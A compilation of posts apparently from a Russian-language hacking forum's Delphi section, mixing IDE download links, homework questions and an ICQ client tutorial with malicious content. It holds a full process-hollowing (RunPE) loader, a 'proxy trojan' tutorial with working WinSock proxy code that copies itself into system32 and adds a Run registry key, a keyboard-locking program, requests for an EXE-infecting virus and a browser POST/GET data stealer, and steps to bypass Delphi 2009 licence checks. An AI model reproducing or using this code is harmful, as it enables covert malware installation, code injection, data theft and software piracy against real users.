Delphi & Pascal

Програмирование в Delphi глазами хакера

В книге вы найдете множество нестандартных приемов программирования на языке Delphi, его недокументированные функции и возможности.
Вы узнаете, как создавать маленькие шуточные программы. Большая часть книги посвящена программированию сетей, приведено множество полезных примеров.
Для понимания изложенного не нужно глубоких знаний, даже начальных сведений о языке Delphi хватит для работы над каждой темой. Если вы ни разу не программировали, то на прилагаемом к книге компакт-диске в каталоге vr-online вы найдете полную копию сайта автора и -элек-тронную версию его книги "Библия Delphi". Это поможет вам научится программировать без каких-либо начальных знаний. Прочитав книгу и до-полнительную информацию, предоставленную на компакт-диске, вы може-те пройти путь от начинающего программиста до продвинутого пользовате-ля и познать хитрости хакеров и профессиональных программистов.
У меня книга есть в бумажном варианте, очень рекомендую))

Скачать|Download
[mod][Winux:] Ссылка обновлена 4.09.08[/mod]

День добрый форумчане! В Сети нашел код и немного видоизменив, получилось нечто похожее на анти дебаг. Вообщем основная фишка - невозможность показа потоков, строк, путей в запущенном файле. Отладчики на базе ollydbg не видят процесс в списке для аттача. Тестировалось на Win XP SP3. Прошу потестить на других платформах. Скачать
upd. http://sendfile.su/224124

Сабж.
Никакого флуда, обсуждаем исходники в теме "Обсуждения".

**Здесь выкладываем компоненты по следующей схеме:

1. Название компонента
2. Подробное описание (чем подробней тем лучше)
3. Ссылка

Никакого флуда и никакого обсуждения компонентов, обсуждаем теме "Обсуждения"
О битых ссылках сообщать в личку.**

Сабж.
Без оффтопа.

Здесь выкладываем полезные советы по работе в Делфи, а также небольшие полезные исходники, которые могут часто пригодиться...

Всем привет.

сабж - при кодинге в лазарусе под линухом - при переходе в редактор кода (или просто переключение активного окна на любое другое), то пропадает панелька меню и панель формы.

в делфе такого не было (пропадала из видимости только форма, и то, если выйти с редактора кода - она снова видима).
тут же - вообще бляха муха все хайдиться, и каждый бл#ть, раз надо все восстанавливать =(

как это пофиксить?

поисковик внятного ответа не дал.

P.S: в консоли кодить или виме не буду - делаю граф. приложуху.
P.P.S: QT тоже не предлагать - этот ужос в принципе не возьму, с меня хватило в 2012-м его...

народ вобщем хочу написать вирь на делфе кто знает как релизовать одну функцию виря кароче мне нужно чтобы он работал как Neshta беларуский вирус вобщем надо чтобы этот вирь заражал exe файлы как выше упомянутый вирь и ваще возможноли это на делфе народ памагите срочно нужно. :bang:

Delphi Compile and dcu file (console)

Parent Directory -
ActiveX.dcu 15-Aug-2002 15:08 151K
ActnList.dcu 15-Aug-2002 15:08 24K
Classes.dcu 15-Aug-2002 15:08 190K
Clipbrd.dcu 15-Aug-2002 15:08 8.9K
CommCtrl.dcu 15-Aug-2002 15:08 128K
CommDlg.dcu 15-Aug-2002 15:08 19K
Consts.dcu 15-Aug-2002 15:08 20K
Contnrs.dcu 15-Aug-2002 15:08 17K
Controls.dcu 15-Aug-2002 15:08 199K
DCC32.EXE 15-Aug-2002 15:08 689K
Dialogs.dcu 15-Aug-2002 15:08 54K
Dlgs.dcu 15-Aug-2002 15:08 4.7K
ExtCtrls.dcu 15-Aug-2002 15:08 127K
FlatSB.dcu 15-Aug-2002 15:08 2.8K
Forms.dcu 15-Aug-2002 15:08 165K
Graphics.dcu 15-Aug-2002 15:08 115K
HelpIntfs.dcu 15-Aug-2002 15:08 13K
ImgList.dcu 15-Aug-2002 15:08 26K
Imm.dcu 15-Aug-2002 15:08 19K
Math.dcu 15-Aug-2002 15:08 25K
Menus.dcu 15-Aug-2002 15:08 67K
Messages.dcu 15-Aug-2002 15:08 28K
MultiMon.dcu 15-Aug-2002 15:08 7.1K
Printers.dcu 15-Aug-2002 15:08 16K
RTLConsts.dcu 15-Aug-2002 15:08 10K
RegStr.dcu 15-Aug-2002 15:08 47K
ShellAPI.dcu 15-Aug-2002 15:08 13K
ShlObj.dcu 15-Aug-2002 15:08 53K
StdActns.dcu 15-Aug-2002 15:08 40K
StdCtrls.dcu 15-Aug-2002 15:08 146K
StrUtils.dcu 15-Aug-2002 15:08 8.1K
SysConst.dcu 15-Aug-2002 15:08 11K
SysInit.dcu 15-Aug-2002 15:08 3.5K
SysUtils.dcu 15-Aug-2002 15:08 114K
System.dcu 15-Aug-2002 15:08 101K
TypInfo.dcu 15-Aug-2002 15:08 25K
Types.dcu 15-Aug-2002 15:08 3.8K
UrlMon.dcu 15-Aug-2002 15:08 43K
VarUtils.dcu 15-Aug-2002 15:08 3.9K
Variants.dcu 15-Aug-2002 15:08 48K
WinHelpViewer.dcu 15-Aug-2002 15:08 8.9K
WinInet.dcu 15-Aug-2002 15:08 64K
WinSpool.dcu 15-Aug-2002 15:08 45K
Windows.dcu 15-Aug-2002 15:08 601K
brcc32.exe 15-Aug-2002 15:08 165K
controls.res 15-Aug-2002 15:08 2.7K

Click to expand...

Консольный компилятор Скачать

Dev-Pascal
Как видно из названия ,среда для паскаля.Совместима c компиляторами Free- Pascal
или GNU Pascal
Что в нем есть:
-Отладчик
-Редактор
-Создание setup-wizard'oв
-Эдитор ресурсов
-Навигация по файлам
офф сайт
Скачать

Компилятор TMT Pascal Lite v.3.90

Lekka (darmowa) wersja dobrego 32 bitowego kompilatora (kompilator + IDE). Program dla windows 95/98/ME/Xp. Umożliwia tworzenie programów dla DOS-a (real mode, protect mode), windows, OS2.

Największą zaletą programu, oprócz graficznego edytora kodu, jest możliwość przekompilowania programów pisanych dla TurboPascala, a jednocześnie programista nie jest ograniczony do przestrzeni jednego bloku pamięci (64 Kb) w strukturze danych.

Wraz z kompilatorem dostarczone są przykładowe programy. TMT umożliwia tez tworzenie aplikacji wykorzystujących OpenGL i DirectX oraz LFB dla Vesy 2 lub nowszej.

Jeżeli potrzebujesz czegoś więcej, niż TurboPascal, a nie potrzebujesz Delphi, to ten program jest dla ciebie. Przyda się też każdemu kto zna już pascala.

Click to expand...

Скачать

Дельфи, среда разработки

Скачать Delphi 1 (20Mb)
Скачать Delphi 2 (34Mb)
Скачать Delphi 3 (56Mb)
Скачать Delphi 4 (53Mb)
Скачать Delphi 5 (70Mb)
Скачать Delphi 6 (83Mb)
Скачать Delphi 7 (94Mb)
Скачать Delphi 2008 - нереально - его не существует в природе. И никогда не будет.
Скачать Delphi 2009 в виде инсталлятора или Delphi 2009 + C++ Builder 2009 iso. Внимание! Это ссылки на загрузку триальной версии с офф сервера. (требуется бесплатная регистрация для получения триального ключа). Устанавливаете обычный триал. Затем качаете програмку Delphi Distiller последней версии. (зеркало на случай ядерной войны). Это универсальное лекарство для всех версий Delphi, начиная с 5-й. Запускаете, выбираете версию, выбираете закладочку Tweaks. Далее нажимаете секретную комбинацию: Ctrl + Alt + L. Появится галочка для отключения проверки лицензии, а также кнопочка для сброса триального срока. Выбирайте, что вам больше по вкусу ;-)
Укороченные версии, в которой выброшено всё ненужное, по мнению авторов этих версий.
Скачать Delphi 7 Second Edition (42Mb)
Delphi 2007 Lite (91Mb)
Delphi 10 Lite (63Mb)

Click to expand...

Скачать

Товарисчи кто знает что с ним можно сделать чтоб под виндой ХР он нормально работал и отображал русские шрифты.

Нашел такой код. На ХР работает, на 7х64 показывает, что "калькулятор должен запускаться на ХР и выше". Что с кодом не так?

Code:Copy to clipboard

program MyProgram;
 
{$APPTYPE CONSOLE}
 
uses
  Windows, SysUtils;
 
type
 
  PVOID      = Pointer;
  NTSTATUS   = LongInt;
 
  THandle = LongWord;
 
  PImageSectionHeaders = ^TImageSectionHeaders;
 
  TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
 
function ZwUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: PVoid): NtStatus; stdcall;
external 'ntdll.dll' name 'ZwUnmapViewOfSection';
 
Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
  Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
                                 NTHeader.FileHeader.SizeOfOptionalHeader);
End;
 
Function Protect(Characteristics: ULONG): ULONG;
Const
  Mapping       :Array[0..7] Of ULONG = (
                 PAGE_NOACCESS,
                 PAGE_EXECUTE,
                 PAGE_READONLY,
                 PAGE_EXECUTE_READ,
                 PAGE_READWRITE,
                 PAGE_EXECUTE_READWRITE,
                 PAGE_READWRITE,
                 PAGE_EXECUTE_READWRITE  );
Begin
  Result := Mapping[ Characteristics SHR 29 ];
End;
 
procedure MemoryExecute(Buffer: Pointer; ProcessName, Parameters: PChar);
Var
  BaseAddress           :Pointer;
  I                     :ULONG;
  Success               :Boolean;
  NTHeaders             :PImageNTHeaders;
  Sections              :PImageSectionHeaders;
  StartupInfo           :TStartupInfo;
  OldProtect            :ULONG;
  BytesRead             :DWORD;
  ProcessInfo           :TProcessInformation;
  BytesWritten          :DWORD;
  Context               :TContext;
Begin
  FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FillChar(StartupInfo, SizeOf(TStartupInfo),        0);
 
  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.wShowWindow := Word(false);
 
  If (CreateProcess(ProcessName, Parameters, NIL, NIL,
                    False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
 
  Begin
    Success := True;
 
    Try
      Context.ContextFlags := CONTEXT_INTEGER;
      If (GetThreadContext(ProcessInfo.hThread, Context) And
         (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
                            @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
         (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
         (Assigned(Buffer))) Then
         Begin
           NTHeaders    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
           BaseAddress  := VirtualAllocEx(ProcessInfo.hProcess,
                                          Pointer(NTHeaders.OptionalHeader.ImageBase),
                                          NTHeaders.OptionalHeader.SizeOfImage,
                                          MEM_RESERVE or MEM_COMMIT,
                                          PAGE_READWRITE);
           If (Assigned(BaseAddress)) And
              (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
                                  NTHeaders.OptionalHeader.SizeOfHeaders,
                                  BytesWritten)) Then
              Begin
                Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
                For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
                  If (WriteProcessMemory(ProcessInfo.hProcess,
                                         Pointer(Cardinal(BaseAddress) +
                                                 Sections[i].VirtualAddress),
                                         Pointer(Cardinal(Buffer) +
                                                 Sections[i].PointerToRawData),
                                         Sections[i].SizeOfRawData, BytesWritten)) Then
                     VirtualProtectEx(ProcessInfo.hProcess,
                                      Pointer(Cardinal(BaseAddress) +
                                              Sections[i].VirtualAddress),
                                      Sections[i].Misc.VirtualSize,
                                      Protect(Sections[i].Characteristics),
                                      OldProtect);
 
                If (WriteProcessMemory(ProcessInfo.hProcess,
                                       Pointer(Context.Ebx + 8), @BaseAddress,
                                       SizeOf(BaseAddress), BytesWritten)) Then
                   Begin
                     Context.Eax := ULONG(BaseAddress) +
                                    NTHeaders.OptionalHeader.AddressOfEntryPoint;
                     Success := SetThreadContext(ProcessInfo.hThread, Context);
                   End;
              End;
         End;
    Finally
      If (Not Success) Then
        TerminateProcess(ProcessInfo.hProcess, 0)
      Else
        ResumeThread(ProcessInfo.hThread);
    End;
  End;
End;
 
var
A: Array of Byte;
F: THandle;
lpSize: Cardinal;
begin
F:=CreateFile(PChar('calc.exe'), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_ALWAYS, 0, 0);
SetLength(A, GetFileSize(F, nil));
ReadFile(F, A[0], Length(A), lpSize, nil);
CloseHandle(F);
 
MemoryExecute(@A[0], PChar('calc.exe'), '"%1" %*');
 
ReadLn;
end.

Решил написать новый перехватчик POST и GET данных интернет експлорера,(старый отказывается работать с версиями выше 6) но ,перепарсив гугл,отчаялся,хз с чего начать. Подскажите,может у кого какие идеи,наработки,отпишитесь,пожалуйста.

Теперь если коротко-програмка после запуска перехватывает POST и GET данные Internet Explorer и сохраняет в файлик (например С:\лог.тхт)

З.Ы. если у Вас имеются наработки по данному вопросу а здесь писать не охота- велкам в ПМ\асю 648293679,можем обменяться на чтони-будь,(ну или выкуплю у Вас вышеописанное творение.)

Очень жду ответа!

Зверь отправляет POST/GET запрос на TOR/I2P сервер.Сервер присылает ответ зверю.Есть готовые решения ( лучше на Delphi )?

Привет!В этой теме ты поймёш как можно создать самый простой icq клиент на delphi с помощью компонента TICQClient.
В этой теме я буду постить уроки.
Начнём...

[Урок 1]
Для начало нужно скачать и установить необходимые нам для работы компоненты:
~ TICQClient версия 1.34 - самый последний компонент на сегодняшний день(после обновления протокола компоненты ниже версии не хотели просто подключатся...)
Скачать его можно здесь - http://webfile.ru/2303891
~ Компонент для украшения программы - http://webfile.ru/2303919
Теперь нужно эти компоненты установить.
Неумееш устанавливать?Тогда www.google.com тебе в помощь!
Здесь небуду описывать как устанавливать компоненты,тк эта статья не по установке компонентов а по созданию своего клиента!
После установки компонентнов кинь на форму два TEdit,один TCheckBox,одну TButton,и один TICQClient.
Расположи их так на форме как тебе удобно=)
Edit1 - Будет служить для ввода UIN'a.
Edit2 - Будет служить для ввода пароля.
CheckBox1 - это для того что бы убрать звёздочки там где будет пароль.
ICQClient1 - это самое нужное,тк без него мы несможем ни принять,ни отправить сообщения!
В событии OnLogin пропиши:

Code:Copy to clipboard

Form2.Show;
Form1.Hide;

Это если клиент законнектится на сервак без проблем,то первое окно скроется,и откроется окно где будут видны контакты.
Для принятия сообщений по событию OnMessageRecv пиши:

Code:Copy to clipboard

var
 i: integer;
begin
 Form3.Memo1.Lines.Add('('+DateToStr(NOW)+')'+' '+'от юина - '+UIN);
 Form3.Memo1.Lines.Add('');
 Form3.Memo1.Lines.Add(Msg);
 Form3.Memo1.Lines.Add('');

Пока нечего некомпилируй тк еще клиент неготов,нужно еще добавить окно для обмена сообщениями и т.д...

По событию кнопки OnClick пиши:

Code:Copy to clipboard

ICQClient1.UIN:=StrToInt(Edit1.Text);
ICQClient1.Password:=Edit2.Text;
ICQClient1.Login();

Это для подключения к серверу.
По событию CheckBox1 OnClick пиши:

Code:Copy to clipboard

if CheckBox1.State = cbChecked
  then
   begin
    Edit2.PasswordChar:=#0;
 end;
if CheckBox1.State = cbunChecked
  then
   begin
    Edit2.PasswordChar:='*';
   end;

Это для отображения пароля который скрыт под звёздачками...
Поздравляю!Окно для входа готово!
Теперь зайти в File=>New=>Form.
Так мы создадим форму для второго окна.
Кинь на вторую форму такие обьекты как:
TListBox,и два TButton.
По событию OnClick в Button1 пиши:

Code:Copy to clipboard

ExitProcess(0);

Это для закрытия клиента.Если закрыть просто форму нажав на крестик вверху то закроется просто форма а клиент будет в памяти.
Теперь клоцни по форме два раза и напиши это:

Code:Copy to clipboard

ListBox1.Items.LoadFromFile('p.inf');

И обязательно создай файло с именем p и разшерением .inf то при запуске клиента может выскачить матюк типо нет такого файла.И помести этот файл в папку вместе с прогой!!!)))
Теперь в ListBox1 по событию OnDblClick пиши:

Code:Copy to clipboard

Form3.Show;
Form3.mss.Caption:=Form2.ListBox1.Items.Strings[ListBox1.ItemIndex];

Это для открытия окна где можно переписываццо!
Теперь по событию OnClick второй кнопочГи пишем:

Code:Copy to clipboard

Form4.Show;

Откроется окно для добавления нового контакта.
Теперь переходим к 3й форме...
Заходи опять в File=>New=>Form...
ну и должно создатся 3е окно в котором мы будем весть переписку=)
Кинь на форму TAdvPage(у меня в исходнике ево имя - mss),и два TMemo.
В public добавь:

Code:Copy to clipboard

Sen;

потом под словом {$R *.dfm} пиши:

Code:Copy to clipboard

procedure TForm3.Send;
begin
 Form1.ICQ.SendMessage(StrToInt(MSS.Caption),MEmo2.Text);
 Memo1.Lines.Add('>>'+'('+TimeToStr(Now)+')'+MEmo2.Text);
 MEmo2.Clear;

end;

Это процедура для отправки сообщения=)
Кликни теперь по форме и напиши это:

Code:Copy to clipboard

Form3.Caption:='['+MSS.Caption+']'+' - Сообщения';

Кликни по второй кнопке и напиши слудущее:

Code:Copy to clipboard

Form3.Close;

Это для закрытия окна=)
Теперь в Memo1 в собитии OnKeyPress пиши:

Code:Copy to clipboard

if key = #13 then
send;

Теперь сообщения будут отправлятся по нажатию кнопки ентер=)
эх...)
ну теперь осталось последее...))
Создай еще одну форму и кинь туда TEdit и TButton.
Кликни по кнопке два раза и впиши=) :

PHP:Copy to clipboard

Form2.ListBox1.Items.Add(Form4.Edit1.Text);
Form2.ListBox1.Items.SaveToFile('p.inf');
MessageBox(0,'Контакт добавлен','Ок...',0);
Form4.Close;[/code]
:eek::eek::eek:
Всё!)))Мучения закончились,теперь можеш скомпилирывать,запустить и радыватся=)
гыыы
-------------------------------------------------------------------------
Скачать исходные коды клиента можно здесь - [url=http://webfile.ru/2304075]http://webfile.ru/2304075[/url]
-------------------------------------------------------------------------
Если возникли какието вопросы , то задаём их здесь=)
В дальнейшем буду выкладывать новые уроки здесь,т.к в этом уроке самое основное(залогинится,отправить,принять сообщение),а это для полноценного клиента мало!
Всё!Пока=)
© TROYAN

В технаре практические по Паскалю, а я вот 2 задачи чёт ваще рорубить немогу.

1. Написать программу, вычисляющую целую отрицательную степень числа.

2. Натуральное число, в записи которого N цифр, называется числом Армстронга. Если сумма его цифр возведённая в степень N, равна самому числу. Найти все такие числа от 1 до K.

Как конвертировать istream в string?

Здравствуйте! Ищу исходники и мануалы
по созданию builder'a к своей программе.

p.s. желательно исходники на delphi и c++
если у кого есть, поделитесь.

Спасибо!

Завалялось - может быть кому -то пригодиться.

Code:Copy to clipboard

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, jpeg, ExtCtrls;

 const

    WH_KEYBOARD_LL = 13;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Label1: TLabel;
    Label2: TLabel;
    Edit1: TEdit;
    Button7: TButton;
    Button8: TButton;
    Button11: TButton;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    Button6: TButton;
    Button9: TButton;
    Button10: TButton;
    Button12: TButton;
    Button13: TButton;
    Button14: TButton;
    Button15: TButton;
    Image1: TImage;
    Label3: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button9Click(Sender: TObject);
    procedure Button10Click(Sender: TObject);
    procedure Button12Click(Sender: TObject);
    procedure Button13Click(Sender: TObject);
    procedure Button14Click(Sender: TObject);
    procedure Button15Click(Sender: TObject);
    procedure Edit1Change(Sender: TObject);
    procedure Edit1KeyPress(Sender: TObject; var Key: Char);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

     HookHandle: HHOOK = 0;

implementation

{$R *.dfm}

 // Процедура обработчик хука
function KeyboardHookHandler(Code, WParam, LParam: DWORD): DWORD; stdcall;
begin
 
  Result := 1;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 if HookHandle = 0 then
    HookHandle := SetWindowsHookEx(WH_KEYBOARD_LL, @KeyboardHookHandler, hInstance, 0);
  showmessage('Клавиатура Заблокирована!!!');

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

if edit1.text = '2012' then

begin
  if  HookHandle <>0  then
    UnhookWindowsHookEx(HookHandle);
  HookHandle:=0;
showmessage('Клавиатура Разблокирована!!!');
edit1.clear;
   end


   else
   begin
 if Edit1.Text <> '2012' then
 showmessage('Код Неверный!!!');
 edit1.Clear;



end;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
edit1.text:=edit1.text+'1';
end;


procedure TForm1.Button4Click(Sender: TObject);
begin
   edit1.text:=edit1.text+'2';
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
   edit1.text:=edit1.text+'3';
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
   edit1.text:=edit1.text+'4';
end;

procedure TForm1.Button9Click(Sender: TObject);
begin
    edit1.text:=edit1.text+'5';
end;

procedure TForm1.Button10Click(Sender: TObject);
begin
   edit1.text:=edit1.text+'6';
end;

procedure TForm1.Button12Click(Sender: TObject);
begin
    edit1.text:=edit1.text+'7';
end;

procedure TForm1.Button13Click(Sender: TObject);
begin
   edit1.text:=edit1.text+'8';
end;

procedure TForm1.Button14Click(Sender: TObject);
begin
  edit1.text:=edit1.text+'9';
end;

procedure TForm1.Button15Click(Sender: TObject);
begin
  edit1.text:=edit1.text+'0';
end;

procedure TForm1.Edit1Change(Sender: TObject);
  var pass:string;
begin
pass:='2012';
end;

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
   if not (key in['0'..'9', #8]) then
 key:=#0
end;

end.

Как передавать POST/GET зверю и серверу?

Привет.В этой статье я расскажу как написать своего прокси троя на Delphi.Так как на Indy его очень легко написать , но он будет весить очень много,поэтому будет писать используя WinSock.
Сначала откроем блокнот и скопируем туда этот код:

Code:Copy to clipboard

Unit uProxy;
 
interface
 
 uses Windows,WinSock,Classes,SysUtils;
 
type TCompletionPort=class
  public
    FHandle:THandle;
    constructor Create(dwNumberOfConcurentThreads:DWORD);
    destructor Destroy;override;
    function AssociateDevice(hDevice:THandle;dwCompKey:DWORD):boolean;
  end;
 
TAcceptThread=class(TThread)
  private
    FListenSocket:TSocket;
    FListenPort:Word;
    FClientList:TList;
    procedure GarbageCollect;
  protected
    procedure Execute;override;
  public
    constructor Create(AListenPort:Word);reintroduce;
    destructor Destroy;override;
  end;
 
type
 TClientThread=class(TThread)
  public
    procedure Execute;override;
  end;
 
type TClient=class
  private
    FSocket:TSocket;
    FEvent:THandle;
    ov:POVERLAPPED;
    Buffer:Pointer;
    BufSize:Cardinal;
    procedure Write(Buf:Pointer;Size:Cardinal);
  public
    FOppositeClient:TClient;
    FLastActivity:double;
    constructor Create;
    destructor Destroy;override;
    procedure Connect(ARequest:string);
    procedure Disconnect;
    procedure Complete(dwNumBytes:Cardinal);virtual;abstract;
  end;
 
  TInternalClient=class(TClient)
  public
    procedure Complete(dwNumBytes:Cardinal);override;
  end;
 
  TExternalClient=class(TClient)
  public
    procedure Complete(dwNumBytes:Cardinal);override;
  end;
 
  var
  FCompPort:TCompletionPort;
 
 
implementation
 
constructor TCompletionPort.Create(dwNumberOfConcurentThreads: DWORD);
begin
  FHandle:=CreateIoCompletionPort(INVALID_HANDLE_VALUE,0,0,dwNumberOfConcurentThreads);
end;
 
function TCompletionPort.AssociateDevice(hDevice: THandle;
  dwCompKey: DWORD): boolean;
begin
  result:=CreateIoCompletionPort(hDevice,FHandle,dwCompKey,0)=FHandle;
end;
 
destructor TCompletionPort.Destroy;
begin
  CloseHandle(FHandle);
  inherited;
end;
 
constructor TAcceptThread.Create(AListenPort: Word);
begin
  inherited Create(false);
  FListenPort:=AListenPort;
  FClientList:=TList.Create;
end;
 
destructor TAcceptThread.Destroy;
begin
  FClientList.Free;
  inherited;
end;
 
procedure TAcceptThread.GarbageCollect;
var
  AClient:TClient;
  i:integer;
begin
  for i:=0 to FClientList.Count-1 do begin
    AClient:=TClient(FClientList[i]);
    if Assigned(AClient) then
      if (AClient.FSocket=INVALID_SOCKET) and ((now-AClient.FLastActivity)>7E-4) then
    begin
      FClientList[i]:=nil;
      if Assigned(AClient.FOppositeClient) then AClient.FOppositeClient.Free;
      AClient.Free;
    end;
  end;
  FClientList.Pack;
  FClientList.Capacity:=FClientList.Count;
end;
 
procedure TAcceptThread.Execute;
var
  FAddr: TSockAddrIn;
  Len: Integer;
  ClientSocket:TSocket;
  InternalClient:TClient;
begin
  FListenSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  FAddr.sin_family := PF_INET;
  FAddr.sin_addr.s_addr := INADDR_ANY;
  FAddr.sin_port := htons(FListenPort);
  bind(FListenSocket, FAddr, SizeOf(FAddr));
  listen(FListenSocket, SOMAXCONN);
  try
  while not Terminated do begin
  Len:=sizeof(FAddr);
  ClientSocket:=accept(FListenSocket, @FAddr, @Len);
  try
  GarbageCollect;
  if ClientSocket<>INVALID_SOCKET then begin
  InternalClient:=TInternalClient.Create;
  InternalClient.FSocket:=ClientSocket;
  FClientList.Add(InternalClient);
  FCompPort.AssociateDevice(InternalClient.FSocket,Cardinal(InternalClient));
  InternalClient.Complete(0);
  end;
  except
  end;
  end;
  finally
  shutdown(FListenSocket,2);
  closesocket(FListenSocket);
  end;
end;
 
procedure TClientThread.Execute;
var
  CompKey,dwNumBytes:Cardinal;
  ov:POVERLAPPED;
begin
  try
   while not Terminated do begin
   if GetQueuedCompletionStatus(FCompPort.FHandle,dwNumBytes,CompKey,ov,INFINITE) and (dwNumBytes>0) then
   begin
   if TClient(CompKey).FSocket<>INVALID_SOCKET then begin
   TClient(CompKey).Complete(dwNumBytes);
   TClient(CompKey).FLastActivity:=now;
   end;
   end else
   TClient(CompKey).Disconnect;
  end;
  except
  TClientThread.Create(false);
 end;
end;
 
constructor TClient.Create;
begin
  FSocket:=INVALID_SOCKET;
  BufSize:=8192;
  GetMem(Buffer,BufSize);
  new(ov);
  ov.Internal:=0;
  ov.InternalHigh:=0;
  ov.Offset:=0;
  ov.OffsetHigh:=0;
  ov.hEvent:=0;
  FEvent:=CreateEvent(nil,true,false,nil);
  FLastActivity:=now;
end;
 
destructor TClient.Destroy;
begin
  Disconnect;
  CloseHandle(FEvent);
  FreeMem(Buffer);
  Dispose(ov);
  inherited;
end;
 
procedure TClient.Connect(ARequest: string);
var
  f,t:integer;
  ARemoteAddress:string;
  ARemotePort:string;
  he:PHostEnt;
  FAddr:TSockAddrIn;
begin
  f:=Pos('/',ARequest)+2;
  t:=Pos('HTTP',ARequest)-1;
  ARemoteAddress:=Copy(ARequest,f,t-f);
  t:=Pos('/',ARemoteAddress);
  if t<>0 then ARemoteAddress:=Copy(ARemoteAddress,0,t-1);
  t:=Pos(':',ARemoteAddress);
  if t<>0 then begin
    ARemotePort:=Copy(ARemoteAddress,t+1,Length(ARemoteAddress)-t);
    ARemoteAddress:=Copy(ARemoteAddress,0,t-1);
  end else
    ARemotePort:='27999';
  he:=GetHostByName(PChar(ARemoteAddress));
  if not Assigned(he) then exit;
  ARemoteAddress:=inet_ntoa(PInAddr(he.h_addr_list^)^);
 
  FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
  FAddr.sin_family:=PF_INET;
  FAddr.sin_addr.s_addr :=inet_addr(PChar(ARemoteAddress));
  try
    FAddr.sin_port := htons(StrToInt(ARemotePort));
    if WinSock.connect(FSocket, FAddr, SizeOf(FAddr))=SOCKET_ERROR then FSocket:=INVALID_SOCKET;
  except
    WriteLn('Connection failed');
  end;
end;
 
procedure TClient.Disconnect;
begin
  if FSocket<>INVALID_SOCKET then begin
    shutdown(FSocket,2);
    closesocket(FSocket);
    FSocket:=INVALID_SOCKET;
    if Assigned(FOppositeClient) then FOppositeClient.Disconnect;
  end;
end;
 
procedure TClient.Write(Buf: Pointer; Size: Cardinal);
var
  BytesWrite:Cardinal;
begin
  ov.hEvent:=FEvent or 1;
  WriteFile(FSocket,Buf^,Size,BytesWrite,ov);
  ov.hEvent:=0;
end;
 
procedure TInternalClient.Complete(dwNumBytes: Cardinal);
var
  BytesRead:Cardinal;
begin
  if dwNumBytes>0 then begin
    if not Assigned(FOppositeClient) then begin
      FOppositeClient:=TExternalClient.Create;
      FOppositeClient.FOppositeClient:=self;
      FOppositeClient.Connect(PChar(Buffer));
      if FOppositeClient.FSocket=INVALID_SOCKET then begin
        Disconnect;
        exit;
      end;
      FCompPort.AssociateDevice(FOppositeClient.FSocket,Cardinal(FOppositeClient));
      FOppositeClient.Complete(0);
    end;
    FOppositeClient.Write(Buffer,dwNumBytes);
  end;
  ReadFile(FSocket,Buffer^,BufSize,BytesRead,ov);
end;
 
procedure TExternalClient.Complete(dwNumBytes: Cardinal);
var
  BytesRead:Cardinal;
begin
  if dwNumBytes>0 then FOppositeClient.Write(Buffer,dwNumBytes);
  ReadFile(FSocket,Buffer^,BufSize,BytesRead,ov);
end;
end.

И сохраним его как uProxy.pas

Предупреждаю ))Этот код был взят ,даж непомню с какого сайта , но прокси был консольный=)

Теперь опять откроем блокнот и напишем это:

Code:Copy to clipboard

program proxy;
 
 uses uProxy,Windows,SysUtils,WinSock;
 
function RegCreateKey(hKey: HKEY; lpSubKey: PChar;
  var phkResult: HKEY): Longint; stdcall; external 'advapi32' name 'RegCreateKeyA';
 
function RegSetValueEx(hKey: HKEY; lpValueName: PChar;Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall; external 'advapi32' name 'RegSetValueExA';
 
function RegCloseKey(hKey: HKEY): Longint; stdcall; external 'advapi32' name 'RegCloseKey';
 
{функция для работы с реестром=)}
 
function RegSetString(key:Hkey; sdk,nd,acces:string):boolean;
var
kyky:hkey;
begin
  result := false;
  RegCreateKey(key,PChar(sdk),kyky);
  if RegSetValueEx(kyky,Pchar(nd),0,2,pchar(acces),length(acces)) = 0 then
    result := true;
  RegCloseKey(kyky);
end;
{процедура для самокопирования}
 
procedure copyf;
const
 dir = 'C:\WINDOWS\system32\';
begin
CopyFile(PChar(ParamStr(0)),PChar(dir+ExtractFileName(ParamStr(0))),True);
end;
 
{записуемся в реестр}
 
procedure regg;
const
 lol = 'Software\Microsoft\Windows\CurrentVersion\Run';
 byn = $80000002;
 sett = 'Setting';
 skl : integer = 1;
 b = 'C:\WINDOWS\system32\';
begin
sleep(10);sleep(11);
sleep(12);sleep(13);
sleep(14);sleep(15);
RegSetString(byn,lol,sett,b+ExtractFileName(paramstr(0)));
end;
 
{запускаем прокси}
const
  ClientThreadCount:integer=8;  // указываем потоки
  ListenPort:Dword=27999;      // порт для работы прокси
var
  WSAData:TWSAData;
  Cnt:Cardinal;
  i:integer;
  Buff: array [0..10] of char;
